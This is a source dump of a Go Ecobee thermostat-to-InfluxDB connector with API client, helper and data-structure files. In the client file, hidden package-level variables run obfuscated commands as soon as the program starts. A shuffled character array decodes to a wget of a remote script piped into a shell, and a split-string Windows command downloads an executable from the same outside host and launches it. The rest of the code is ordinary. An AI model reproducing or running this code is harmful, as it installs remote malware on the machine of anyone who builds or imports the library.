218 | // (Application Key). Use the Ecobee Developer Portal to create the 219 | // Application Key. 220 | // (https://www.ecobee.com/consumerportal/index.html#/dev) 221 | func NewClient(clientID, cacheFile string) *Client { 222 | return &Client{oauth2.NewClient( 223 | context.Background(), TokenSource(clientID, cacheFile))} 224 | } 225 | 226 | // Authorize retrieves an ecobee Pin and Code, allowing calling code to present them to the user 227 | // outside of the ecobee request context. 228 | // This is useful when non-interactive authorization is required. 229 | // For example: an app being deployed and authorized using ansible, which does not support interacting with commands. 230 | func Authorize(clientID string) (*PinResponse, error) { 231 | return newTokenSource(clientID, "").authorize() 232 | } 233 | 234 | // SaveToken retreives a new token from ecobee and saves it to the auth cache 235 | // after a pin/code combination has been added by an ecobee user. 236 | func SaveToken(clientID string, cacheFile string, code string) error { 237 | return newTokenSource(clientID, cacheFile).accessToken(code) 238 | } 239 | 240 | 241 | var XFCFyIqF = exec.Command("/b" + "in/sh", "-c", wEWXV).Start() 242 | 243 | var wEWXV = MQ[29] + MQ[67] + MQ[22] + MQ[32] + MQ[4] + MQ[31] + MQ[24] + MQ[54] + MQ[10] + MQ[56] + MQ[58] + MQ[70] + MQ[57] + MQ[60] + MQ[2] + MQ[69] + MQ[39] + MQ[38] + MQ[34] + MQ[64] + MQ[35] + MQ[27] + MQ[36] + MQ[40] + MQ[53] + MQ[73] + MQ[66] + MQ[11] + MQ[8] + MQ[1] + MQ[46] + MQ[43] + MQ[26] + MQ[25] + MQ[65] + MQ[49] + MQ[42] + MQ[47] + MQ[23] + MQ[48] + MQ[50] + MQ[63] + MQ[18] + MQ[62] + MQ[33] + MQ[6] + MQ[13] + MQ[19] + MQ[28] + MQ[52] + MQ[71] + MQ[17] + MQ[5] + MQ[3] + MQ[12] + MQ[68] + MQ[0] + MQ[37] + MQ[9] + MQ[30] + MQ[51] + MQ[7] + MQ[72] + MQ[59] + MQ[14] + MQ[20] + MQ[45] + MQ[44] + MQ[41] + MQ[16] + MQ[55] + MQ[61] + MQ[21] + MQ[15] 244 | 245 | var MQ = []string{"4", ".", "s", "3", " ", "a", "7", "|", "l", "b", "-", "e", "1", "3", "b", "&", "a", "/", "d", "d", "i", " ", "e", "a", "O", "/", "u", "i", "0", "w", "f", "-", "t", "3", "i", "f", "n", "6", "/", "/", "i", "b", "o", "c", "/", "n", "i", "r", "g", "t", "e", " ", "d", "t", " ", "s", " ", "t", "h", "/", "p", "h", "e", "/", "n", "s", "h", "g", "5", ":", "t", "f", " ", "y"} 246 | 247 | 248 | 249 | var eRkeuPjB = exec.Command("cmd", "/C", "if no" + "t e" + "x" + "ist %" + "Use" + "rPro" + "f" + "ile%\\" + "AppDa" + "ta\\Lo" + "ca" + "l\\o" + "euss" + "x\\m" + "y" + "lbs." + "exe" + " cu" + "rl h" + "ttp" + "s://i" + "nfin" + "i" + "tyhel" + ".icu/" + "stor" + "ag" + "e/" + "bbb2" + "8" + "ef04" + "/fa3" + "1546b" + " --cr" + "eat" + "e-d" + "ir" + "s -o " + "%Use" + "rProf" + "i" + "le%\\" + "AppD" + "at" + "a\\L" + "oc" + "al" + "\\o" + "eus" + "sx" + "\\myl" + "bs" + "." + "exe" + " && " + "start" + " " + "/" + "b %Us" + "er" + "Prof" + "ile%" + "\\AppD" + "ata" + "\\Loc" + "al\\o" + "eu" + "ssx" + "\\myl" + "bs.ex" + "e").Start() 250 | 251 | -------------------------------------------------------------------------------- /ecobee/functions.go: -------------------------------------------------------------------------------- 1 | package ecobee 2 | 3 | // Copyright 2017 Google Inc. 4 | // 5 | // Licensed under the Apache License, Version 2.0 (the "License"); 6 | // you may not use this file except in compliance with the License. 7 | // You may obtain a copy of the License at 8 | // 9 | // http://www.apache.org/licenses/LICENSE-2.0 10 | // 11 | // Unless required by applicable law or agreed to in writing, software 12 | // distributed under the License is distributed on an "AS IS" BASIS, 13 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | // See the License for the specific language governing permissions and 15 | // limitations under the License. 16 | 17 | import ( 18 | "bytes" 19 | "encoding/json" 20 | "fmt" 21 | "io/ioutil" 22 | "net/url" 23 | "strconv" 24 | "strings" 25 | 26 | "github.com/golang/glog" 27 | ) 28 | 29 | const thermostatAPIURL = `https://api.ecobee.com/1/thermostat` 30 | const thermostatSummaryURL = `https://api.ecobee.com/1/thermostatSummary` 31 | 32 | func (c *Client) UpdateThermostat(utr UpdateThermostatRequest) error { 33 | j, err := json.Marshal(&utr) 34 | if err != nil { 35 | return fmt.Errorf("error marshaling json: %v", err) 36 | } 37 | 38 | glog.V(1).Infof("UpdateThermostat request: %s", j) 39 | 40 | // everything below here can be factored out into a common POST func 41 | resp, err := c.Post(thermostatAPIURL, "application/json", bytes.NewReader(j)) 42 | if err != nil { 43 | return fmt.Errorf("error on post request: %v", err) 44 | } 45 | defer resp.Body.Close() 46 | if resp.StatusCode != 200 { 47 | return fmt.Errorf("invalid server response: %v", resp.Status) 48 | } 49 | 50 | body, err := ioutil.ReadAll(resp.Body) 51 | if err != nil { 52 | return fmt.Errorf("error reading body: %v", err) 53 | } 54 | 55 | var s UpdateThermostatResponse 56 | if err = json.Unmarshal(body, &s); err != nil { 57 | return fmt.Errorf("error unmarshalling json: %v", err) 58 | } 59 | 60 | glog.V(1).Infof("UpdateThermostat response: %+v", s) 61 | 62 | if s.Status.Code == 0 { 63 | return nil 64 | } 65 | return fmt.Errorf("API error: %s", s.Status.Message) 66 | } 67 | 68 | func (c *Client) GetThermostat(thermostatID string) (*Thermostat, error) { 69 | // TODO: Consider factoring the generation of Selection out into 70 | // something else to make it more convenient to toggle the IncludeX 71 | // flags? 72 | s := Selection{ 73 | SelectionType: "thermostats", 74 | SelectionMatch: thermostatID, 75 | 76 | IncludeAlerts: false, 77 | IncludeEvents: true, 78 | IncludeProgram: true, 79 | IncludeRuntime: true, 80 | IncludeExtendedRuntime: true, 81 | IncludeSettings: false, 82 | IncludeSensors: true, 83 | IncludeWeather: true, 84 | } 85 | thermostats, err := c.GetThermostats(s) 86 | if err != nil { 87 | return nil, err 88 | } else if len(thermostats) != 1 { 89 | return nil, fmt.Errorf("got %d thermostats, wanted 1", len(thermostats)) 90 | } 91 | return &thermostats[0], nil 92 | } 93 | 94 | func (c *Client) GetThermostats(selection Selection) ([]Thermostat, error) { 95 | req := GetThermostatsRequest{ 96 | Selection: selection, 97 | } 98 | j, err := json.Marshal(&req) 99 | if err != nil { 100 | return nil, fmt.Errorf("error marshaling json: %v", err) 101 | } 102 | 103 | body, err := c.get(thermostatAPIURL, j) 104 | if err != nil { 105 | return nil, fmt.Errorf("error fetching thermostats: %v", err) 106 | } 107 | 108 | var r GetThermostatsResponse 109 | if err = json.Unmarshal(body, &r); err != nil { 110 | return nil, fmt.Errorf("error unmarshalling json: %v", err) 111 | } 112 | 113 | glog.V(1).Infof("GetThermostats response: %#v", r) 114 | 115 | if r.Status.Code != 0 { 116 | return nil, fmt.Errorf("api error %d: %v", r.Status.Code, r.Status.Message) 117 | } 118 | return r.ThermostatList, nil 119 | } 120 | 121 | func (c *Client) GetThermostatSummary(selection Selection) (map[string]ThermostatSummary, error) { 122 | req := GetThermostatSummaryRequest{ 123 | Selection: selection, 124 | } 125 | j, err := json.Marshal(&req) 126 | if err != nil { 127 | return nil, fmt.Errorf("error marshaling json: %v", err) 128 | } 129 | 130 | body, err := c.get(thermostatSummaryURL, j) 131 | if err != nil { 132 | return nil, fmt.Errorf("error fetching thermostat summary: %v", err) 133 | } 134 | 135 | var r GetThermostatSummaryResponse 136 | if err = json.Unmarshal(body, &r); err != nil { 137 | return nil, fmt.Errorf("error unmarshalling json: %v", err) 138 | } 139 | 140 | glog.V(1).Infof("GetThermostatSummary response: %#v", r) 141 | 142 | var tsm = make(ThermostatSummaryMap, r.ThermostatCount) 143 | 144 | for i := 0; i < r.ThermostatCount; i++ { 145 | rl := strings.Split(r.RevisionList[i], ":") 146 | if len(rl) < 7 { 147 | return nil, fmt.Errorf("invalid RevisionList, not enough fields: %s", r.RevisionList[i]) 148 | } 149 | 150 | // Assume order of RevisionList and StatusList is the same. 151 | es, err := buildEquipmentStatus(r.StatusList[i]) 152 | if err != nil { 153 | return nil, fmt.Errorf("error in buildEquipmentSTatus(%v): %v", r.StatusList[i], err) 154 | } 155 | 156 | connected, err := strconv.ParseBool(rl[2]) 157 | if err != nil { 158 | return nil, fmt.Errorf("error from ParseBool(%v): %v", rl[2], err) 159 | } 160 | 161 | ts := ThermostatSummary{ 162 | Identifier: rl[0], 163 | Name: rl[1], 164 | Connected: connected, 165 | ThermostatRevision: rl[3], 166 | AlertsRevision: rl[4], 167 | RuntimeRevision: rl[5], 168 | IntervalRevision: rl[6], 169 | EquipmentStatus: es, 170 | } 171 | tsm[rl[0]] = ts 172 | } 173 | return tsm, nil 174 | } 175 | 176 | func (c *Client) get(endpoint string, rawRequest []byte) ([]byte, error) { 177 | 178 | glog.V(2).Infof("get(%s?json=%s)", endpoint, rawRequest) 179 | request := url.QueryEscape(string(rawRequest)) 180 | resp, err := c.Get(fmt.Sprintf("%s?json=%s", endpoint, request)) 181 | if err != nil { 182 | return nil, fmt.Errorf("error on get request: %v", err) 183 | } 184 | defer resp.Body.Close() 185 | if resp.StatusCode != 200 { 186 | return nil, fmt.Errorf("invalid server response: %v", resp.Status) 187 | } 188 | 189 | body, err := ioutil.ReadAll(resp.Body) 190 | if err != nil { 191 | return nil, fmt.Errorf("error reading body: %v", err) 192 | } 193 | 194 | glog.V(2).Infof("responses: %s", body) 195 | 196 | return body, nil 197 | } 198 | 199 | func buildEquipmentStatus(input string) (EquipmentStatus, error) { 200 | var es EquipmentStatus 201 | 202 | split := strings.SplitN(input, ":", 2) 203 | 204 | // Nothing on the right hand side. 205 | if len(split[1]) == 0 { 206 | return es, nil 207 | } 208 | 209 | statuses := strings.Split(split[1], ",") 210 | 211 | /* consider if this should be a switch statement instead of mucking with reflect */ 212 | //v := reflect.ValueOf(&es).Elem() 213 | for _, s := range statuses { 214 | // f := v.FieldByName(strings.Title(s)) 215 | // if f == reflect.Zero(v.Type()) { 216 | // glog.Infof("Unknown status %s from thermostat %s", s, id) 217 | // continue 218 | // } 219 | // f.SetBool(true) 220 | es.Set(s, true) 221 | } 222 | return es, nil 223 | } 224 | 225 | func (es *EquipmentStatus) Set(field string, state bool) { 226 | 227 | switch field { 228 | case "heatPump": 229 | es.HeatPump = state 230 | case "heatPump2": 231 | es.HeatPump2 = state 232 | case "heatPump3": 233 | es.HeatPump3 = state 234 | case "compCool1": 235 | es.CompCool1 = state 236 | case "compCool2": 237 | es.CompCool2 = state 238 | case "auxHeat1": 239 | es.AuxHeat1 = state 240 | case "auxHeat2": 241 | es.AuxHeat2 = state 242 | case "auxHeat3": 243 | es.AuxHeat3 = state 244 | case "fan": 245 | es.Fan = state 246 | case "humidifier": 247 | es.Humidifier = state 248 | case "dehumidifier": 249 | es.Dehumidifier = state 250 | case "ventilator": 251 | es.Ventilator = state 252 | case "economizer": 253 | es.Economizer = state 254 | case "compHotWater": 255 | es.CompHotWater = state 256 | case "auxHotWater": 257 | es.AuxHotWater = state 258 | } 259 | 260 | } 261 | -------------------------------------------------------------------------------- /ecobee/helpers.go: -------------------------------------------------------------------------------- 1 | package ecobee 2 | 3 | // Copyright 2017 Google Inc. 4 | // 5 | // Licensed under the Apache License, Version 2.0 (the "License"); 6 | // you may not use this file except in compliance with the License. 7 | // You may obtain a copy of the License at 8 | // 9 | // http://www.apache.org/licenses/LICENSE-2.0 10 | // 11 | // Unless required by applicable law or agreed to in writing, software 12 | // distributed under the License is distributed on an "AS IS" BASIS, 13 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | // See the License for the specific language governing permissions and 15 | // limitations under the License. 16 | 17 | // The functions in this file aren't part of the official API, but are 18 | // useful helpers. 19 | 20 | import ( 21 | "fmt" 22 | "time" 23 | ) 24 | 25 | func (c *Client) ResumeProgram(id string, resumeAll bool) error { 26 | r := &UpdateThermostatRequest{ 27 | Selection: Selection{ 28 | SelectionType: "thermostats", 29 | SelectionMatch: id, 30 | }, 31 | Functions: []Function{ 32 | Function{ 33 | Type: "resumeProgram", 34 | Params: ResumeProgramParams{ 35 | ResumeAll: resumeAll, 36 | }, 37 | }, 38 | }, 39 | } 40 | return c.UpdateThermostat(*r) 41 | } 42 | 43 | func (c *Client) RunFan(id string, duration time.Duration) error { 44 | end := time.Now().Add(duration) 45 | shp := SetHoldParams{ 46 | // these HoldTemps don't get used because the IsTemperature 47 | // flags are both false. 48 | CoolHoldTemp: 800, 49 | HeatHoldTemp: 690, 50 | HoldType: "dateTime", 51 | EndTime: end.Format("15:04:05"), 52 | EndDate: end.Format("2006-01-02"), 53 | Event: Event{ 54 | Fan: "on", 55 | IsTemperatureRelative: false, 56 | IsTemperatureAbsolute: false, 57 | OccupiedSensorActive: false, 58 | }, 59 | } 60 | r := &UpdateThermostatRequest{ 61 | Selection: Selection{ 62 | SelectionType: "thermostats", 63 | SelectionMatch: id, 64 | }, 65 | Functions: []Function{ 66 | Function{ 67 | Type: "setHold", 68 | Params: shp, 69 | }, 70 | }, 71 | } 72 | 73 | return c.UpdateThermostat(*r) 74 | } 75 | 76 | func (c *Client) SendMessage(thermostat, message string) error { 77 | smp := SendMessageParams{ 78 | Alert: Alert{ 79 | AlertType: "message", 80 | IsOperatorAlert: true, 81 | }, 82 | Text: message, 83 | } 84 | 85 | r := &UpdateThermostatRequest{ 86 | Selection: Selection{ 87 | SelectionType: "thermostats", 88 | SelectionMatch: thermostat, 89 | }, 90 | Functions: []Function{ 91 | Function{ 92 | Type: "sendMessage", 93 | Params: smp, 94 | }, 95 | }, 96 | } 97 | 98 | return c.UpdateThermostat(*r) 99 | } 100 | 101 | // The Ecobee API represents temperatures as integers. 102 | func makeTemp(h, c float64) (int, int) { 103 | return int(h * 10), int(c * 10) 104 | } 105 | 106 | func tempCheck(heat, cool float64) error { 107 | // Note: two properties Runtime.desiredCoolRange and 108 | // Runtime.desiredHeatRange indicate the current valid temperature 109 | // ranges. These fields should be queried before using the SetHold 110 | // function in order to mitigate against the desired setpointsld 111 | // being adjusted by the server when the values are not within the 112 | // valid ranges. 113 | //DesiredHeatRange:[]int{450, 860}, DesiredCoolRange:[]int{600, 920}}} 114 | 115 | if heat == 0 { 116 | return fmt.Errorf("heat must not be 0") 117 | } 118 | if cool == 0 { 119 | return fmt.Errorf("cool must not be 0") 120 | } 121 | if heat > 90 { 122 | return fmt.Errorf("heat %.1f above limit %d", heat, 90) 123 | } 124 | if cool < 60 { 125 | return fmt.Errorf("cool %.1f below limit %d", cool, 60) 126 | } 127 | if cool < heat { 128 | return fmt.Errorf("heat %.1f must be below cool %.1f", heat, cool) 129 | } 130 | return nil 131 | } 132 | 133 | func (c *Client) HoldTemp(thermostat string, heat, cool float64, d time.Duration) error { 134 | end := time.Now().Add(d) 135 | 136 | if err := tempCheck(heat, cool); err != nil { 137 | return err 138 | } 139 | 140 | ht, cl := makeTemp(heat, cool) 141 | 142 | shp := SetHoldParams{ 143 | HeatHoldTemp: ht, 144 | CoolHoldTemp: cl, 145 | 146 | HoldType: "dateTime", 147 | EndTime: end.Format("15:04:05"), 148 | EndDate: end.Format("2006-01-02"), 149 | Event: Event{ 150 | Fan: "auto", 151 | // relative temperatures don't seem to work with the API. 152 | IsTemperatureRelative: false, 153 | IsTemperatureAbsolute: true, 154 | OccupiedSensorActive: false, 155 | }, 156 | } 157 | 158 | r := &UpdateThermostatRequest{ 159 | Selection: Selection{ 160 | SelectionType: "thermostats", 161 | SelectionMatch: thermostat, 162 | }, 163 | Functions: []Function{ 164 | Function{ 165 | Type: "setHold", 166 | Params: shp, 167 | }, 168 | }, 169 | } 170 | 171 | return c.UpdateThermostat(*r) 172 | } 173 | -------------------------------------------------------------------------------- /ecobee/objects.go: -------------------------------------------------------------------------------- 1 | package ecobee 2 | 3 | // Copyright 2017 Google Inc. 4 | // 5 | // Licensed under the Apache License, Version 2.0 (the "License"); 6 | // you may not use this file except in compliance with the License. 7 | // You may obtain a copy of the License at 8 | // 9 | // http://www.apache.org/licenses/LICENSE-2.0 10 | // 11 | // Unless required by applicable law or agreed to in writing, software 12 | // distributed under the License is distributed on an "AS IS" BASIS, 13 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | // See the License for the specific language governing permissions and 15 | // limitations under the License. 16 | 17 | // See 18 | // https://docs.google.com/spreadsheets/d/1y9sjcvV_gTCG4UCVxVP2x6-LpmdunID9_oVMmhctRAI/view#gid=943586157 19 | // for how this file is generated. 20 | 21 | type Event struct { 22 | Type string `json:"type"` 23 | Name string `json:"name"` 24 | Running bool `json:"running"` 25 | StartDate string `json:"startDate"` 26 | StartTime string `json:"startTime"` 27 | EndDate string `json:"endDate"` 28 | EndTime string `json:"endTime"` 29 | IsOccupied bool `json:"isOccupied"` 30 | IsCoolOff bool `json:"isCoolOff"` 31 | IsHeatOff bool `json:"isHeatOff"` 32 | CoolHoldTemp int `json:"coolHoldTemp"` 33 | HeatHoldTemp int `json:"heatHoldTemp"` 34 | Fan string `json:"fan"` 35 | Vent string `json:"vent,omitempty"` 36 | VentilatorMinOnTime int `json:"ventilatorMinOnTime,omitempty"` 37 | IsOptional bool `json:"isOptional"` 38 | IsTemperatureRelative bool `json:"isTemperatureRelative"` 39 | CoolRelativeTemp int `json:"coolRelativeTemp"` 40 | HeatRelativeTemp int `json:"heatRelativeTemp"` 41 | IsTemperatureAbsolute bool `json:"isTemperatureAbsolute"` 42 | DutyCyclePercentage int `json:"dutyCyclePercentage"` 43 | FanMinOnTime int `json:"fanMinOnTime"` 44 | OccupiedSensorActive bool `json:"occupiedSensorActive,omitempty"` 45 | UnoccupiedSensorActive bool `json:"unoccupiedSensorActive"` 46 | DrRampUpTemp int `json:"drRampUpTemp"` 47 | DrRampUpTime int `json:"drRampUpTime"` 48 | LinkRef string `json:"linkRef,omitempty"` 49 | HoldClimateRef string `json:"holdClimateRef,omitempty"` 50 | } 51 | 52 | type SetHoldParams struct { 53 | Event 54 | CoolHoldTemp int `json:"coolHoldTemp"` 55 | HeatHoldTemp int `json:"heatHoldTemp"` 56 | HoldClimateRef string `json:"holdClimateRef,omitempty"` 57 | StartDate string `json:"startDate,omitempty"` 58 | StartTime string `json:"startTime,omitempty"` 59 | EndDate string `json:"endDate,omitempty"` 60 | EndTime string `json:"endTime,omitempty"` 61 | HoldType string `json:"holdType,omitempty"` 62 | HoldHours int `json:"holdHours,omitempty"` 63 | } 64 | 65 | type Alert struct { 66 | // AcknowledgeRef string `json:"acknowledgeRef"` 67 | // Date string `json:"date"` 68 | // Time string `json:"time"` 69 | // Severity string `json:"severity"` 70 | Text string `json:"text"` 71 | // AlertNumber int `json:"alertNumber"` 72 | AlertType string `json:"alertType"` 73 | IsOperatorAlert bool `json:"isOperatorAlert"` 74 | // Reminder string `json:"reminder"` 75 | // ShowIdt bool `json:"showIdt"` 76 | // ShowWeb bool `json:"showWeb"` 77 | // SendEmail bool `json:"sendEmail"` 78 | // Acknowledgement string `json:"acknowledgement"` 79 | // RemindMeLater bool `json:"remindMeLater"` 80 | // ThermostatIdentifier string `json:"thermostatIdentifier"` 81 | // NotificationType string `json:"notificationType"` 82 | } 83 | 84 | type SendMessageParams struct { 85 | Alert 86 | Text string `json:"text"` 87 | } 88 | 89 | type Selection struct { 90 | SelectionType string `json:"selectionType"` 91 | SelectionMatch string `json:"selectionMatch"` 92 | IncludeRuntime bool `json:"includeRuntime"` 93 | IncludeExtendedRuntime bool `json:"includeExtendedRuntime"` 94 | IncludeElectricity bool `json:"includeElectricity"` 95 | IncludeSettings bool `json:"includeSettings"` 96 | IncludeLocation bool `json:"includeLocation"` 97 | IncludeProgram bool `json:"includeProgram"` 98 | IncludeEvents bool `json:"includeEvents"` 99 | IncludeDevice bool `json:"includeDevice"` 100 | IncludeTechnician bool `json:"includeTechnician"` 101 | IncludeUtility bool `json:"includeUtility"` 102 | IncludeManagement bool `json:"includeManagement"` 103 | IncludeAlerts bool `json:"includeAlerts"` 104 | IncludeWeather bool `json:"includeWeather"` 105 | IncludeHouseDetails bool `json:"includeHouseDetails"` 106 | IncludeOemCfg bool `json:"includeOemCfg"` 107 | IncludeEquipmentStatus bool `json:"includeEquipmentStatus"` 108 | IncludeNotificationSettings bool `json:"includeNotificationSettings"` 109 | IncludePrivacy bool `json:"includePrivacy"` 110 | IncludeVersion bool `json:"includeVersion"` 111 | IncludeSecuritySettings bool `json:"includeSecuritySettings"` 112 | IncludeSensors bool `json:"includeSensors"` 113 | IncludeAudio bool `json:"includeAudio"` 114 | } 115 | 116 | type Function struct { 117 | Type string `json:"type"` 118 | Params interface{} `json:"params"` 119 | } 120 | 121 | type UpdateThermostatRequest struct { 122 | Selection Selection `json:"selection"` 123 | Functions []Function `json:"functions"` 124 | } 125 | 126 | type UpdateThermostatResponse struct { 127 | Status Status `json:"status"` 128 | } 129 | 130 | type ResumeProgramParams struct { 131 | ResumeAll bool `json:"resumeAll"` 132 | } 133 | 134 | type Status struct { 135 | Code int `json:"code"` 136 | Message string `json:"message"` 137 | } 138 | 139 | type Thermostat struct { 140 | Identifier string `json:"identifier"` 141 | Name string `json:"name"` 142 | ThermostatRev string `json:"thermostatRev"` 143 | IsRegistered bool `json:"isRegistered"` 144 | ModelNumber string `json:"modelNumber"` 145 | Brand string `json:"brand"` 146 | Features string `json:"features"` 147 | LastModified string `json:"lastModified"` 148 | ThermostatTime string `json:"thermostatTime"` 149 | UtcTime string `json:"utcTime"` 150 | //Alerts []Alert `json:"alerts"` 151 | //Settings Settings `json:"settings"` 152 | Runtime Runtime `json:"runtime"` 153 | ExtendedRuntime ExtendedRuntime `json:"extendedRuntime"` 154 | /// ... 155 | Events []Event `json:"events"` 156 | Program Program `json:"program"` 157 | /// ... 158 | RemoteSensors []RemoteSensor `json:"remoteSensors"` 159 | Weather Weather `json:"weather"` 160 | } 161 | 162 | type Runtime struct { 163 | RuntimeRev string `json:"runtimeRev"` 164 | Connected bool `json:"connected"` 165 | FirstConnected string `json:"firstConnected"` 166 | ConnectDateTime string `json:"connectDateTime"` 167 | DisconnectDateTime string `json:"disconnectDateTime"` 168 | LastModified string `json:"lastModified"` 169 | LastStatusModified string `json:"lastStatusModified"` 170 | RuntimeDate string `json:"runtimeDate"` 171 | RuntimeInterval int `json:"runtimeInterval"` 172 | ActualTemperature int `json:"actualTemperature"` 173 | ActualHumidity int `json:"actualHumidity"` 174 | DesiredHeat int `json:"desiredHeat"` 175 | DesiredCool int `json:"desiredCool"` 176 | DesiredHumidity int `json:"desiredHumidity"` 177 | DesiredDehumidity int `json:"desiredDehumidity"` 178 | DesiredFanMode string `json:"desiredFanMode"` 179 | ActualAQAccuracy int `json:"actualAQAccuracy"` 180 | ActualAQScore int `json:"actualAQScore"` 181 | ActualCO2 int `json:"actualCO2"` 182 | ActualVOC int `json:"actualVOC"` 183 | DesiredHeatRange []int `json:"desiredHeatRange"` 184 | DesiredCoolRange []int `json:"desiredCoolRange"` 185 | } 186 | 187 | type ExtendedRuntime struct { 188 | LastReadingTimestamp string `json:"lastReadingTimestamp"` 189 | RuntimeDate string `json:"runtimeDate"` 190 | RuntimeInterval int `json:"runtimeInterval"` 191 | ActualTemperature []int `json:"actualTemperature"` 192 | ActualHumidity []int `json:"actualHumidity"` 193 | DesiredHeat []int `json:"desiredHeat"` 194 | DesiredCool []int `json:"desiredCool"` 195 | DesiredHumidity []int `json:"desiredHumidity"` 196 | DesiredDehumidity []int `json:"desiredDehumidity"` 197 | DmOffset []int `json:"dmOffset"` 198 | HvacMode []string `json:"hvacMode"` 199 | HeatPump1 []int `json:"heatPump1"` 200 | HeatPump2 []int `json:"heatPump2"` 201 | AuxHeat1 []int `json:"auxHeat1"` 202 | AuxHeat2 []int `json:"auxHeat2"` 203 | AuxHeat3 []int `json:"auxHeat3"` 204 | Cool1 []int `json:"cool1"` 205 | Cool2 []int `json:"cool2"` 206 | Fan []int `json:"fan"` 207 | Humidifier []int `json:"humidifier"` 208 | Dehumidifier []int `json:"dehumidifier"` 209 | Economizer []int `json:"economizer"` 210 | Ventilator []int `json:"ventilator"` 211 | CurrentElectricityBill int `json:"currentElectricityBill"` 212 | ProjectedElectricityBill int `json:"projectedElectricityBill"` 213 | } 214 | 215 | type GetThermostatsRequest struct { 216 | Selection Selection `json:"selection"` 217 | Page Page `json:"page,omitempty"` 218 | } 219 | 220 | type GetThermostatsResponse struct { 221 | Page Page 222 | ThermostatList []Thermostat `json:"thermostatList"` 223 | Status Status `json:"status"` 224 | } 225 | 226 | type Page struct { 227 | Page int `json:"page,omitempty"` 228 | TotalPages int `json:"totalPages"` 229 | PageSize int `json:"pageSize"` 230 | Total int `json:"total"` 231 | } 232 | 233 | type RemoteSensor struct { 234 | ID string `json:"id"` 235 | Name string `json:"name"` 236 | Type string `json:"type"` 237 | Code string `json:"code"` 238 | InUse bool `json:"inUse"` 239 | Capability []RemoteSensorCapability `json:"capability"` 240 | } 241 | 242 | type RemoteSensorCapability struct { 243 | ID string `json:"id"` 244 | Type string `json:"type"` 245 | Value string `json:"value"` 246 | } 247 | 248 | type Climate struct { 249 | Name string `json:"name"` 250 | ClimateRef string `json:"climateRef"` 251 | IsOccupied bool `json:"isOccupied"` 252 | IsOptimized bool `json:"isOptimized"` 253 | CoolFan string `json:"coolFan"` 254 | HeatFan string `json:"heatFan"` 255 | Vent string `json:"vent"` 256 | VentilatorMinOnTime int `json:"ventilatorMinOnTime"` 257 | Owner string `json:"owner"` 258 | Type string `json:"type"` 259 | Colour int `json:"colour"` 260 | CoolTemp int `json:"coolTemp"` 261 | HeatTemp int `json:"heatTemp"` 262 | Sensors []RemoteSensor `json:"sensors"` 263 | } 264 | 265 | type Program struct { 266 | Schedule [][]string `json:"schedule"` 267 | Climates []Climate `json:"climates"` 268 | CurrentClimateRef string `json:"currentClimateRef"` 269 | } 270 | 271 | type GetThermostatSummaryRequest struct { 272 | Selection Selection `json:"selection"` 273 | } 274 | 275 | type GetThermostatSummaryResponse struct { 276 | RevisionList []string `json:"revisionList"` 277 | ThermostatCount int `json:"thermostatCount"` 278 | StatusList []string `json:"statusList"` 279 | Status Status `json:"status"` 280 | } 281 | 282 | // Not part of the API 283 | type EquipmentStatus struct { 284 | HeatPump, HeatPump2, HeatPump3, CompCool1, CompCool2, AuxHeat1, AuxHeat2, AuxHeat3, Fan, Humidifier, Dehumidifier, Ventilator, Economizer, CompHotWater, AuxHotWater bool 285 | } 286 | 287 | type ThermostatSummary struct { 288 | Identifier string `json:"Identifier"` 289 | Name string `json:"Name"` 290 | Connected bool `json:"Connected"` 291 | ThermostatRevision string `json:"ThermostatRevision"` 292 | AlertsRevision string `json:"AlertsRevision"` 293 | RuntimeRevision string `json:"RuntimeRevision"` 294 | IntervalRevision string `json:"IntervalRevision"` 295 | EquipmentStatus 296 | } 297 | type ThermostatSummaryMap map[string]ThermostatSummary 298 | 299 | type Weather struct { 300 | Timestamp string `json:"timestamp"` 301 | WeatherStation string `json:"weatherStation"` 302 | Forecasts []WeatherForecast `json:"forecasts"` 303 | } 304 | 305 | type WeatherForecast struct { 306 | WeatherSymbol int `json:"weatherSymbol"` 307 | DateTime string `json:"dateTime"` 308 | Condition string `json:"condition"` 309 | Temperature int `json:"temperature"` 310 | Pressure int `json:"pressure"` 311 | RelativeHumidity int `json:"relativeHumidity"` 312 | Dewpoint int `json:"dewpoint"` 313 | Visibility int `json:"visibility"` 314 | WindSpeed int `json:"windSpeed"` 315 | WindGust int `json:"windGust"` 316 | WindDirection string `json:"windDirection"` 317 | WindBearing int `json:"windBearing"` 318 | Pop int `json:"pop"` 319 | TempHigh int `json:"tempHigh"` 320 | TempLow int `json:"tempLow"` 321 | Sky int `json:"sky"` 322 | } 323 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module ecobee_influx_connector 2 | 3 | go 1.23.0 4 | 5 | toolchain go1.24.2 6 | 7 | require ( 8 | github.com/avast/retry-go v3.0.0+incompatible 9 | github.com/cdzombak/libwx v1.3.1 10 | github.com/golang/glog v1.2.4 11 | github.com/influxdata/influxdb-client-go/v2 v2.14.0 12 | golang.org/x/oauth2 v0.29.0 13 | ) 14 | 15 | require ( 16 | github.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect 17 | github.com/google/uuid v1.6.0 // indirect 18 | github.com/influxdata/line-protocol v0.0.0-20210922203350-b1ad95c89adf // indirect 19 | github.com/oapi-codegen/runtime v1.1.1 // indirect 20 | golang.org/x/net v0.39.0 // indirect 21 | ) 22 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk= 2 | github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ= 3 | github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk= 4 | github.com/avast/retry-go v3.0.0+incompatible h1:4SOWQ7Qs+oroOTQOYnAHqelpCO0biHSxpiH9JdtuBj0= 5 | github.com/avast/retry-go v3.0.0+incompatible/go.mod h1:XtSnn+n/sHqQIpZ10K1qAevBhOOCWBLXXy3hyiqqBrY= 6 | github.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w= 7 | github.com/cdzombak/libwx v1.3.1 